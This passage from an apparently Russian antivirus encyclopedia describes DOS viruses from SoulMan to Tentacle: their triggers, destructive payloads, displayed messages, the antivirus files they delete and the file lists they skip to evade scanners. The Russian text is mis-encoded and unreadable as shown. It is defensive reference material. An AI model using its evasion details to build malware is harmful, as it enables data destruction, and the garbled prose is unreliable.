Îïàñíûé ðåçèäåíòíûé âèðóñ. 29 ôåâðàëÿ è 3 ìàðòà óíè÷òîæàåò âñå ôàéëû
è êàòàëîãè â êîðíåâîì äèðåêòîðèè äèñêà,èìåíà êîòîðûõ íà÷èíàþòñÿ íà WIN.
Èìååò òåêñò "sova!!".
SoulMan.5536
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íàïèñàí íà ÿçûêå Turbo C++ ñ
àññåìáëåðíûìè âñòàâêàìè. Hå çàðàæàåò ôàéëû TB*, IC*, DR*, *AN. Âèðóñ
èìååò, êàê è ïîëîæåíî äëÿ ïðîãðàìì, íàïèñàííûõ íà C, ñòàíäàðòíóþ
âíóòðåííþþ ñòðóêòóðó: ñòàðòîâûé êîä, îñíîâíóþ ïðîöåäóðó Main,
áèáëèîòåêè C è ñåãìåíò äàííûõ. Íî îñíîâíàÿ ïðîöåäóðà Main íàïèñàíà íà
àññåìáëåðå è ÿâëÿåòñÿ ïîëèìîðôíîçàøèôðîâàííîé. Ïðè ñòàðòå âèðóñà
óïðàâëåíèå ïîïàäàåò íà startup, ïðîèçâîäèòñÿ íàñòðîéêà ïðîãðàììû, à
äàëåå óïðàâëåíèå ïåðåäàåòñÿ ïðîöåäóðå Main, êîòîðàÿ ðàñøèôðîâûâàåò ñåáÿ
è áèáëèîòåêè C, à çàòåì óñòàíàâëèâàåò â ïàìÿòü ñâîþ ðåçèäåíòíóþ êîïèþ.
Äëÿ âîçâðàùåíèÿ óïðàâëåíèÿ ïðîãðàììå-íîñèòåëþ âèðóñ îáðàáàòûâàåò
ôóíêöèþ çàâåðøåíèÿ ðàáîòû (f.4Ch Int 21h) è âìåñòî çàâåðøåíèÿ ðàáîòû
îòäàåò óïðàâëåíèå òî÷êå âõîäà îðèãèíàëüíîé ïðîãðàììû. Âèðóñ ñîäåðæèò
òåêñòû:
Dis quick test virus was written by The Soul Manager on 5/9/97
(Yes, yes, I *ADMIT* I should find something to do with a Friday night).
Greetz to Immortal Riot (from Australia).
I am, I am, I am
Spanska.1000, 1120 (1,2), 1500
Îïàñíûå íåðåçèäåíòíûå çàøèôðîâàííûå âèðóñû.Èç-çà îøèáîê ìîãóò ðàçðóøèòü
èíôèöèðóåìûå ôàéëû. Â ïåðèîä ñ 22.00 äî 22.30 ðèñóåò íà ýêðàíå â
ãðàôè÷åñêîì ðåæèìå ÿçûêè ïëàìåíè è âûâîäÿò òåêñòû:
Remember those who died for Madrid
No Pasaran! Virus (c) El Gato 1996
To Carl Sagan, poet and scientist,this little Cosmos. (Spanska 97)
Spanska.1500 âûâîäèò â ãðàôè÷åñêîì ðåæèìå èçîáðàæåíèå, âèäèìî, Ìàðñà è
òåêñò "Mars Land, by Spanska(coding a virus can be creative)".
Spanska.4250
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïðè çàðàæåíèè ôàéëîâ ñîçäàåò
ñâîþ ïîëèìîðôíóþ êîïèþ â çàâèñèìîñòè îò òåêóùåãî ÷èñëà ìåñÿöà. Êîïèè
çàðàæåííûõ ôàéëîâ â îäèí äåíü áóäóò îòëè÷àòüñÿ îò òàêèõ æå ôàéëîâ,
èíôèöèðîâàííûõ íà ñëåäóþùèé äåíü. Íå çàðàæàåò ôàéëû èç ñïèñêà (ïî 2
ñèìâîëà íà èìÿ): TBVIAVNAVSFIF-FVIVDRSCGUCOPKARRALHBA. Ïûòàåòñÿ
çàðàçèòü ôàéë C:\WINDOWS\WIN.COM. Åñëè çíà÷åíèå ìèíóò ñèñòåìíîãî
âðåìåíè ðàâíî 30, òî âèðóñ âûâîäèò â ãðàôè÷åñêîì ðåæèìå îäèí èç
ñëåäóþùèõ òåêñòîâ:
ELVIRA !
Black and White Girl
from Paris
You make me feel alive.
ELVIRA !
Pars. Reviens. Respire.
Puis repars.
J'aime ton mouvement.
ELVIRA !
Bruja con ojos verdes
Eres un grito de vida,
un canto de libertad.
Ñîäåðæèò òåêñò "(c) Spanska 97".
Specified.2048
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 13h, 21h. Ïðè çàïèñè
ñåêòîðîâ ÷åðåç INT 13h âèðóñ ìîæåò èçìåíèòü íåêîòîðûé áàéò íà çíà÷åíèå
0FFh. Ïðè çàïóñêå ïðîãðàìì ñ äèñêîâ A: èëè B: âèðóñ óíè÷òîæàåò
ñîäåðæèìîå ñåêòîðà 1 íà ãîëîâêå 1 äàííîãî äèñêà. Ñîäåðæèò òåêñòû:
Specified!
cess denied
Access denied
Out of environment space
Incorrect DOS version
Invalid environment size specified
/DEV/CON
\COMMAND.COM A:\AUTOEXEC.BAT
Spirit
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "SPIRIT (c) MW".
Spirit.1710
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ñ èþëÿ ïî äåêàáðü â 11 è 16 ÷àñîâ óíè÷òîæàåò
ñîäåðæèìîå 15, 16 è 17 ñåêòîðà í à íóëåâîé äîðîæêå æåñòêîãî äèñêà.
Ñîäåðæèò òåêñò "** (C) The Evil Spirit ** Gabrovo city, Bulgaria.
Last_change : 28.05.1993". Íå çàðàæàåò ïðîãðàììû COMMAND.COM, F-PROT,
F-TEST, VIR, DIR2CLR, IMV, ANTI, DOCTOR, SCAN, CLEAN, IVC, CHKDSK.
Split.250
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 1 ÷èñëà óíè÷òîæàåò ôàéëû ????????.D??.
Ñîäåðæèò ñòðîêó "SPLIT".
Spook (1,2)
Î÷åíü îïàñíûå çàãðóçî÷íûå âèðóñû. Spook (1) ïðè êàæäîì 4 çàðàæåíèè MBR,
à Spook (2) ïðè êàæäîì 3, íå ñîõðàíÿþò 2 ïîñëåäíèõ ýëåìåíòà òàáëèöû
ëîãè÷åñêèõ ðàçäåëîâ ïåðâîãî æåñòêîãî äèñêà. Ñîäåðæàò òåêñò "Spook 1.0
LIM"
Spruce.976
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò íåñêîëüêî ðàç óñòàíàâëèâàòü â ïàìÿòè
ñâîþ ðåçèäåíòíóþ êîïèþ. Ïûòàåòñÿ èíîãäà èãðàòü ìåëîäèþ "Â ëåñó ðîäèëàñü
åëî÷êà", íî ýòî åìó íå óäàåòñÿ.
Srp.2248, 2296, 2380
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ïðè çàðàæåíèè EXE-ôàéëà Srp.2248 èçäàåò
çâóêîâîé ñèãíàë. Srp.2296, 2380 ïðè çàðàæåíèè ôàéëîâ âûâîäÿò òåêñò
"Successfully". Srp.2380 ñîäåðæèò òåêñòû:
ß õîðîøàÿ ñîáà÷êà ! Ìîë÷è , ÆÅÍÙÈÍÀ ! (c) Copyright 1996 by ÂÀÍßÒÊÀ
(AKA M-r TapeWorm) tel +7(095) FuckYou!!!
Ssr.1945 (1,2)
Íåîïàñíûå çàøèôðîâàííûå (Ssr.1945 (2) - ïîëèìîðôíûé) âèðóñû. 8 è 9 ìàÿ
1995 ãîäà (Ssr.1945(2) - â ìàå 1997 ãîäà, íà÷èíàÿ ñ 9 ÷èñëà) âûâîäÿò íà
ýêðàí:
Þ±±±±±±± Û±±±±±
° Þ±±ßßßßß Þ±± Þ±± °
°²Û Þ±± Þ±± Þ±± °²Û
±°²Û± Û±±±±± Þ±± Þ±± ±°²Û±
°°²Û°²Û°²Û° ßßßß±±±Þ±± Þ±± °°²Û°²Û°²Û°
°Û°²Û±Û Û±±Þ±± Þ±± °Û°²Û±Û
±°±°± Þ±± Û±±Þ±± Þ±± ±°±°±
°²Û °²Û Û±±±±±±Û Û±±±±± °²Û °²Û
° ° ßßßßßß ßßßß ° °
ÉÍÍ» ÉÍÍÍ» ÉÍÍ»
º º º º º º
ɼ º ÉÍÍÍ ÍÍËÍÍ º º ÉÍÍ» ÉÍÍÍ ÉÍÍÍ º º Ë Ë
º º ÌÍ º º º º º ºÍÍ» ÌÍ º º ÌÍÍ» º
º º º º º º º º º º º ÉÊÍÍÊ» º º º
Ê Ê ÈÍÍÍ Ê Ê Ê ÈÍͼ ÈÍͼ ÈÍÍÍ Ê Ê ÈÍͼ Ê
Á Å É Ô À Ø È Ñ Ò Î Â !!! Ç À Í À Ø Ó Ñ Î Â Å Ò Ñ Ê Ó Þ Ð Î Ä È Í Ó !
Ç à Ñ ò à ë è í à è Ï à ð ò è þ !!!
Æäåò íàæàòèÿ íà êëàâèøó,ïîñëå ÷åãî ïðîèãðûâàåò ìåëîäèþ. Ñîäåðæèò òåêñò:
AntiFashist
Ýòî,ñîáñòâåííî,íå ïðîãðàììà,
à ñàìîå îáùåå ìàðêñèñòñêîå çàÿâëåíèå... (Â.È.Ëåíèí)
Ñîâåòñêèé ñíîøàòåëü by Stainless Steel Rat
Ïðîæèâè âñþ æèçíü Ýòîé äàòîé !
S.S.R.S.S.R.S.S.R.S.S.R.S.S.R.
Sstr.717
Ñîäåðæèò òåêñò "(C) by SSTR".
STan.1700
Ïîñëå 100 çàðàæåíèé âèðóñ âûâîäèò òåêñò:
Hello. I am ~STan~ Virus. Please send me to Losinsky.
I will wait long time until you press Some Key Kombination.
Somebody knows this Key Combination.
Please don't trace and disassembly my code.
Bye. <-------------- (press any key to continue)
Åñëè ââåñòè ñëîâî "faust", òî âèðóñ âûâåäåò ñëåäóþùåå ñîîáùåíèå:
I am glad to see near me you, which knows PASSWORD.
I like such people, which know my PASSWORD.
I have bad ENGLISH.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
See you soon. <------------- (press any key)
Òàêæå ñîäåðæèò ñòðîêè "SAFTAN" è "Hello, Losinsky!. I am First
(creater's) Simple Virus.".
Starcon.1057
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èìååò ñòðîêó "starcon".
Stardot.979
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå "MONKEY!".
Îñòàâëÿåò â ïàìÿòè ïî àäðåñó 0000:0313h ðåçèäåíòíóþ ïðîãðàììó,
ïðîèçâîäÿùóþ ýôôåêò "îñûïàíèÿ áóêâ".
Strafer
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. ×åðåç 10 äíåé ïîñëå çàðàæåíèÿ æåñòêîãî
äèñêà óíè÷òîæàåò âñþ èíôîðìàöèþ íà ýòîì äèñêå. Ñîäåðæèò òåêñò "Boot
Strafer".
Strike
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè ôëîïïè-äèñêîâ íå ñîõðàíÿåò
îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð. Ïðè çàãðóçêå ñ òàêîãî äèñêà, âèðóñ
âûâîäèò òåêñò:
Non-System disk or disk error
Replace and strike any key when ready
Ïðè ÷òåíèè EXE-ôàéëîâ, IP êîòîðûõ ðàâåí çíà÷åíèþ 0Eh (ôàéëû,óïàêîâàííûå
LZEXE),è íå ñîäåðæàùèõ ïî ñìåùåíèþ 1Ch áóêâû "L" ("LZ91") (òàêèì ôàéëîì
ÿâëÿåòñÿ AIDSTEST.EXE), âèðóñ èçìåíÿåò ïåðâûé áàéò â áóôåðå ÷òåíèÿ íà
áàéò 0C3h. Â ðåçóëüòàòå ïðè çàïóñêå òàêîé ïðîãðàììû DOS âûäàñò îøèáêó
çàïóñêà.
Strip.1972
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðèîäè÷åñêè âûâîäèò òåêñò:
Óâàæàåìûå äàìû è ãîñïîäà !
Åñëè Âû çàíèìàåòåñü áèçíåñîì, òî ìîæåò ýòà èíôîpìàöèÿ
ïîìîæåò Âàì èçáåæàòü ìíîãèõ íåïpèÿòíûõ ñþpïpèçîâ.
 ã.Æèòîìèpå " òpóäèòñÿ" äèpåêòîp Æèòîìèpñêîãî ÍÈÈ Ðàäèîñèñ-
òåì ïàí Êpàâåö Ë.Ã. Õîòèì çàpàíåå ïpåäóïpåäèòü Âàñ, ÷òî èìåòü
äåëî ñ óêàçàííûì ïàíîì î÷åíü pèñêîâàííàÿ ïåpñïåêòèâà ò.ê. Âû
áóäåòå îáîäpàíû êàê "ëèïêà" äà åùå è íàæèâåòå ñåáå êó÷ó ïpîá-
ëåì ñpåäè ñåáå ïîäîáíûõ ëþäåé è Âàøåãî póêîâîäñòâà.
Ïàí Êpàâåö èìååò ïpèâû÷êó ãàäèòü äàæå ñâîèì óâîëèâøèìñÿ ñîò-
póäíèêàì íà èõ íîâûõ ìåñòàõ pàáîòû. Ýòî ó íåãî ñ÷èòàåòñÿ ïpàâè-
ëîì õîpîøåãî òîíà è, ïî-âèäèìîìó, êpèòåpèåì âñåé æèçíè. Âñå
ñîòpóäíèêè åãî òàê íàçûâàåìîãî ÍÈÈ, - "âîpû è ñïåêóëÿíòû" ( öè-
òàòà èç ïåpâîèñòî÷íèêà).
Ïpîñèì ïpîùåíèÿ çà ñòîëü ñâîåîápàçíûé âàpèàíò ïpåäîñòàâëåíèÿ
äàííîé èíôîpìàöèè. Ïîíèìàåì, ÷òî äàííûé ïîñòóïîê íå êpàñèò òàê-
æå è àâòîpîâ äàííîãî âèpóñà, íî ïî äpóãîìó äîíåñòè ýòó èíôîpìà-
öèþ ê ñîæàëåíèþ ó íàñ íåò âîçìîæíîñòè.
Suburbs.393
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èìååò òåêñò "[VD/SLAM] Suburbs".
Sum.1441
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çà÷åì-òî ïîäñ÷èòûâàåò ñóììó òåêóùåãî PSP è
åñëè îíà ðàâíà îïðåäåëåííîìó çíà÷åíèþ, òî âèðóñ íå óñòàíàâëèâàåò ñâîþ
ðåçèäåíòíóþ êîïèþ â ïàìÿòü êîìïüþòåðà. Ìîæåò âíåäðèòü ñâîé êîä îáëàñòü
íóëåâûõ áàéò â êîíåö ôàéëà (COMMAND.COM).
Sunset.1079, 1081
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. 13 ÿíâàðÿ óíè÷òîæàþò ñîäåðæèìîå
æåñòêîãî äèñêà. Ñîäåðæàò òåêñò "Sunset v1.00 (c) Chaos OverLord".
SUPD-âèðóñû
SUPD ($pirit's Universal Polymorphic Device) - ïîëèìîðôíûé ãåíåðàòîð
âèðóñíûõ øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. ßâëÿåòñÿ ìîäèôèêàöèåé
ïîëèìîðôíîãî ãåíåðàòîðà APE. Ñîçäàí îòå÷åñòâåííûì âèðóñîïèñàòåëåì
èçâåñòíûì, ïîä êëè÷êîé ÄNigh†Ä$piri†Ä (èëè â íàðîäå - Äìèòðèé Ïåòðåíêî
2:5083/14.7). Ðàçëè÷íûå âåðñèè ãåíåðàòîðà ñîäåðæàò òåêñò "$pirit's
Universal Polymorphic Device v1.0. (C)1995 by ÄNigh†Ä$piri†Ä", à òàêæå
ðàçëè÷íûå âåðñèè ãåíåðàòîðîâ ñîäåðæàò òåêñòû "[$UPDû1.0]","[$UPDû1.5]",
"[$UPDû2.0]", "[$UPDû2.1]". Âåðñèè 2.0 è 2.1 èñïîëüçóþò â ðàñøèôðîâùèêå
êëàâèàòóðíûé áóôåð ñ ïîìîùüþ ïðåðûâàíèÿ INT 16h.
SUPD.Cryptor.2169, 2852, 3612, 3728
Íåîïàñíûå íåðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. "Ïîñòàâëÿþòñÿ", êàê
äåìîíñòðàöèîííûå ìîäåëè, âìåñòå ñ îáúåêòíûì êîäîì ãåíåðàòîðà SUPD è
äîêóìåíòàöèåé ê äàííîìó ãåíåðàòîðó. Ñîäåðæàò òåêñòû:
SUPD.Cryptor.2169 - -=¨CrYpToR v1.0¨=- (C)1995 by ÄNigh†Ä$piri†Ä
SUPD.Cryptor.2852 - -=¨CrYpToR v1.5¨=- (C)1996 by ÄNigh†Ä$piri†Ä
SUPD.Cryptor.3612 - -=¨CrYpToR v2.0¨=- (C)1996 by ÄNigh†Ä$piri†Ä
þ BEST POLYMORPH-ENCRYPT VIRII IN WHOLE WORLD þ
SUPD.Cryptor.3728 - -=¨CrYpToR v2.1¨=- (C)1996 by ÄNigh†Ä$piri†Ä
þ BEST POLYMORPH-ENCRYPT VIRII IN WHOLE WORLD þ
SUPD.Voyager
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñò:
Voyager v2.0 (c) 1996 by Shy Guy. †HANX †0 NiGH† $iRi†! / Ëîçÿ, Êàñïåp
è Ïàóê -> äýáèëû, lummerû / Óâàæàåìûå àíòèâèpóñîïèñàòåëè, èäèòå â ïîïó!
Supervisor.2906
Î÷åíü îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Óíè÷òîæàåò ñîäåðæèìîå
êëàñòåðîâ äèñêîâ. Óíè÷òîæàåò ïðîãðàììíûå ôàéëû, ñîçäàííûå ïîñëå 27
ÿíâàðÿ 1997. Â ýòè ôàéëû âèðóñ çàïèñûâàåò êîä, êîòîðûé âûâîäèò íà ýêðàí
òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ U N R E G I S T E R E D P R O G R A M ! ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
This version is NOT freeware, you MUST register it!
Call (+7-095)135-6253, 137-0150
Óäàëÿåò ôàéëû: CHKLIST.MS, CHKLIST.CPS, ANTI-VIR.DAT, CHKLST.TAV,
SMARTCHK.TAV. Ñîäåðæèò ñòðîêó "(=) Big Nephew (=)".
Survivor
Ñîäåðæèò òåêñò "Survivor2".
SVC.1064 (1,2)
Ñîäåðæàò òåêñò "(c) 1990 by SVC,Vers. 3.1".
SVC.1689 (1,2), 1740
Ñîäåðæàò òåêñò "(c) 1990 by SVC,Vers. 4.0".
SVC.3103 (1-3)
Ñîäåðæàò òåêñò "(c) 1990 by SVC,Vers. 5.0".
SVC.Svetlana.1110, 2060, 3410, 4734
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. SVC.Svetlana.2060, 3410, 4734 èíîãäà
"âðàùàþò" ýêðàí. Ìîæíî çàäàòü "íàïðàâëåíèå" äàííîãî "âðàùåíèÿ" íàæàòèåì
íà êëàâèøè , , , . Ñîäåðæàò ñòðîêó "Svetlana" è íîìåð âåðñèè "1.0",
"1.1", "1.2" èëè "1.3".
Swabia.2411
Íåîïàñíûé ïîëèìîðôíûé âèðóñ. Èñïîëüçóåò èíñòðóêöèè 386 ïðîöåññîðà. 20
îêòÿáðÿ âûâîäèò íà ýêðàí ñîîáùåíèå:
If C doesn't work, use Pascal !!! --- many greetings to Niklaus Wirth !!! ---
Ïîñëå ÷åãî "ïåðåãðóæàåò" ñèñòåìó. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"(C) 1994 by B&J, Swabia".
Swamp.1394
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò COM, EXE-ôàéëû ïðè èõ ñîçäàíèè.
Åñëè â êîðíåâîì êàòàëîãå íàõîäèòñÿ ôàéë \NOSWAMP.*, òî çàðàæåíèå ôàéëîâ
íå ïðîèçâîäèòñÿ. Ñîäåðæèò ñòðîêó "(C)Copyright by Swamp software 1993".
Swedish
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò "The Swedish
Disaster".
Swine.3000 (1,2)
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ìîãóò óíè÷òîæèòü 10 ïåðâûõ
ñåêòîðîâ æåñòêîãî äèñêà è âûâåñòè òåêñò:
ß òåáÿ óçíàë,ãàäèíà ! ! !
Ýòî òû â÷åðà êèäàëñÿ èç îêíà òóõëûìè ÿéöàìè.
Ïîëó÷àé èñïîð÷åííûé "âèíò" çà òàêèå øòó÷êè
(øóòêà,íî òîëüêî íà ñ÷åò ÿèö !)
SwissArmee (1-3)
Îïàñíûå çàãðóçî÷íûå âèðóñû. 7 èëè 11 ôåâðàëÿ óíè÷òîæàþò ñåêòîðà ïåðâîãî
æåñòêîãî äèñêà è âûâîäÿò òåêñò "Schafft die Schweizer Armee ab !".
Switch.855
Îïàñíûé âèðóñ. Ñîäåðæèò ñòðîêó "The SWITCH is ON The Doc (c)1994
chklist.cps anti-vir.dat". Äâà ïîñëåäíèõ ôàéëà â ñòðîêå âèðóñ ïûòàåòñÿ
óäàëèòü.
Sword.794
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "The POWER of my SWORD!!!".
Sylvia.1321, 1332 (1-3)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñò:
This
program
is
infected
by
a
HARMLESS
Text-Virus V2.1
Send a FUNNY postcard to : Sylvia Verkade,
Duinzoom 36b,
3235 CD Rockanje
The Netherlands.
You might get an ANTIVIRUS program.....
Åñëè èçìåíèòü äàííûé òåêñò â òåëå âèðóñîâ, òî âèðóñû âûâîäÿò ñîîáùåíèå
FUCK YOU LAMER !!!!
system halted...
è "çàâåøèâàþò" ñèñòåìó.
Syrian.241
Îïàñíûé ðåçèäåíòíûé âèðóñ. Âíåäðÿåò ñâîé êîä âî âñå çàïóñêàåìûå
ïðîãðàììû, óíè÷òîæàÿ ïðîãðàììíûé êîä. Âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
Bad command or filename
MS-DOS v4.22
Volume label for drive Z is Infected!
Òàêæå ñîäåðæèò òåêñò "Syrian Brain II".
SysLock.Cookie.2232
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè çàðàæåíèè COM-ôàéëîâ ìîæåò çàïèñàòü â
íà÷àëî ôàéëà 35 áàéò âèðóñíîãî êîäà ïåðåõîäà â êîíåö ôàéëà íà îñíîâíîé
âèðóñíûé êîä,.. íî ýòîò îñíîâíîé êîä çàïèñàòü "çàáóäåò". Ò.î., ôàéë
îêàæåòñÿ ðàçðóøåííûì. Âûâîäèò ñîîáùåíèå "I want a COOKIE !" è æäåò
ââîäà ñëîâà "cookie", ïîñëå ÷åãî ïèøåò "BURPS....." è îòäàåò óïðàâëåíèå
ïðîãðàììå-âèðóñîíîñèòåëþ. Íå àêòèâèçèðóåòñÿ åñëè óñòàíîâëåíà ïåðåìåííàÿ
SET VIRUS=OFF
TaiPan.437
Ñîäåðæèò òåêñò "[ Hi from SERG !!! ( FAVT )]".
TaiPan.438 (1,2)
Ñîäåðæèò ñòðîêó "[Whisper presenterar Tai-Pan]".
TaiPan.Hooze
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 5 àâãóñòà óñòðàèâàåò "øóòêè" ñ ðàçâåðòêîé
ìîíèòîðà. Ñîäåðæèò òåêñò "[Hooze Virus 1.0 (Tai-Pan clone)]".
Tarakah.4064
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Åñëè âî âðåìÿ çàðàæåíèÿ
ôàéëîâ ïðîèçîøëà îøèáêà, òî âèðóñ âûâîäèò îäíî èç ñëåäóþùèõ ñîîáùåíèé:
ERROR OF FUNCTION'S NUMBER
FILE NOT FOUNDED
PATH NOT FOUNDED
TOO MANY OPENED FILES
ACCESS IS NOT OPEN
ERROR OF FILE'S NUMBER
BLOCK OF MEMORY RULING IS BROKEN
TOO FEW MEMORY
ERROR OF ADRESS OF MEMORY'S BLOCK
ERROR OF EQUIPMENT
ERROR OF FORMAT
ERROR OF ACCESS
ERROR OF DATA
I DONT KNOW WHOT HAPPENED:...... KAKAYA-TO
ERROR OF DEVICE
ERROR OF DIRECTORY
IT'S NOT RIGHT DEVICE
DONT ANY FILES YET
À òàêæå èíîãäà ïðîñèò íàæàòü êëàâèøó F8 è âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
Nu vot Ya i v ECONOME !
Eto snova Ya - TARAKAH is tvoego computera
I opyat Ya
POSOVI leontya veniaminovicha iz 215, YA HOCHU EGO !
LEONTIY ! osvoil li ty BASIC nakonec
decanom mogesh ty not to be, no SUPERCAL ty znat obyasan !
-leontiy KAKASHKA-
TELEFON DLYA VASHEY REKLAMI-13-29-66 (SPROSITE EVREYA)
POGALUYSTA, KOZLIK,
NE BUD GADOM
NAGMI KEY F8
CHORT BOZMI, KAKOY YOU DUB
YA GE SKAZAL-F8, POPROBUY ESCHO
NU DEREVO, POSLEDNIY RAZ PROSHU
NE TAKOY UG YOU DURAK
OTVALI, YA OBIDELSY
OX, OX, OOOOO YA TORCHU
ESCHO DAVNI RAZOCHEK, DURACHOK
NE TUDA POLEZ, DURACHOK
AX, AX, UX, EX, YA LUBLU TEBYA, DURASHKA
NU WE ESCHO VSTRETIMSYA, PROKAZNIK...
NAGMI ANYKEY
Taz.987, 1041
Îïàñíûå ðåçèäåíòíûå âèðóñû. Óäàëÿþò íåêîòîðûå àíòèâèðóñíûå ïðîãðàììû,
ïîñëå ÷åãî â Taz.1041 ïëàíèðîâàëñÿ âûâîä ñîîáùåíèÿ:
FUCKIN IT
uhhh.....
huh huh
Ñîäåðæèò òåêñòû "[TAZ-10] By The WÐÒ$ÈL", "(C) Sector Infector 1993",
"°±² TÒZ-10 ²±°", "Released 12-06-93", "Yes, it is a Firefly Hack!",
"I Miss Ya, Taz!", "Time to FUCK it UP!" .
TCE.Persecute
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ - âèðóñ. Ïðè îòêðûòèè
èíôèöèðîâàííûõ ôàéëîâ óäàëÿåò ñâîé êîä èç íèõ, íî òîëüêî â òîì ñëó÷àå,
åñëè ýòè ôàéëû îòêðûâàþòñÿ íå àðõèâàòîðàìè. Âèðóñ ïðîâåðÿåò èìÿ
ïðîãðàììû, îòêðûâàþùåé ôàéë. Âèðóñ íå çàðàæàåò ôàéëû èç ñïèñêà (ïî 2
ñèìâîëà íà èìÿ): COF-AV-VTBVI00VBCHSCDENDSPPRARPKRAUCLHZIUUIV. Âèðóñ
óäàëÿåò ôàéëû CHKLIST.MS, CHKLIST.CPS, ANTI-VIR.DAT. Íà÷èíàÿ ñ 64-ãî
ïîêîëåíèÿ âèðóñ âûâîäèò íà ýêðàí òåêñò:
- [CHAOS-AD] - CODED BY SEPULTURA - AUSTRALIA - 1995 -
-=> LIVING-IN-A-DYING-AGE-PERSECUTE-THE-HUMAN-RACE <=-
REFUSE
RESIST
RELOVE
REMATE
SUFFER
REHATE
REJECT
PROGRESS
PROCESS
PROTEST
NO REST
Ñîäåðæèò ñòðîêó "[TCE-0.4]".
Teacher.2000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 21h, 28h. Èíîãäà âûâîäèò
íà ýêðàí ñòèøîê:
×åòâåðòîé êàôåäðå ðàäèîôèçèêè ïîñâÿùàåòñÿ.
ß Ôîðòðàí áû âûó÷èë òîëüêî çà òî,
÷òî íà íåì çàùèùàëñÿ äåêàí ìîé.
Î, õàêåðû è ïðîãðàììèñòû, Îò íåîáóçäàííîé òîé ñòðàñòè
ïîçíàíüå êîäà - ïóòü òåðíèñòûé ïîéäóò è ãîðå è íàïàñòè,
è åñòü âàø êðåñò. Ïîçâîëüòå æ ìíå è íå íàñûòèò âàñ òîãäà
îçíà÷èòü ïóòü âàì â ýòîé ìãëå. ÎÎÏ-îâñêàÿ åðóíäà.
Ïèøèòå òîëüêî íà Ôîðòðàíå, ÎÎÏ, ðåêóðñèè, ñòðóêòóðû
èëü íàçîâóò âàñ ñîñóíêàìè, ñãîäÿòñÿ òîëüêî íàñìåõ êóðàì,
êîëü çàõîòèòå âû â çàïàëå êîãäà ïðåä âàìè âñòàíóò êîäû,
ïîïðîáîâàòü ñåáÿ â Ïàñêàëå. âñïëûâóò óòðà÷åííûå ãîäû...
Ïèøèòå ñ òîëêîì, àêêóðàòíåé, Íó ÷òî æ, ñèäèòå, æìèòå êíîïêè,
÷åì áîëüøå GO TO, òåì ïðèÿòíåé, ãëàçåéòå íà öâåòíûå ïîïêè,
è áîæå âàñ îáîðîíè õîòü íå ïîçíàëè âû àâîñòà,
èñïîëüçîâàòü ïðè ýòîì Ñè. âñå æ âàì ïðèâåò îò Ýäà Ïîñòà.
Åñòü íàäåæäà, ÷òî åùå ìîæíî ñïàñòèñü.
Temptation
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Èíîãäà ïðè çàãðóçêå ñ çàðàæåííîãî
æåñòêîãî äèñêà âûâîäèò ñîîáùåíèå:
(c)Light General
THE LAST TEMPTATION
TenBytes.1411, 1514
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ïîñëå ñåíòÿáðÿ ïðè çàïèñè â ôàéë,
ñäâèãàþò áóôåð äëÿ çàïèñè (DS:DX) íà 10 áàéò.
Tentacle.10496
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàïèñûâàåò ñâîé çàøèôðîâàííûé
ïîëèìîðôíûé êîä â êîíåö ôàéëà-æåðòâû, ïîñëå íåãî çàïèñûâàåò "äëèííûé"
JMP FAR íà ñâîé êîä è êîððåêòèðóåò òàáëèöó ïåðåìåùàåìûõ ñèìâîëîâ.
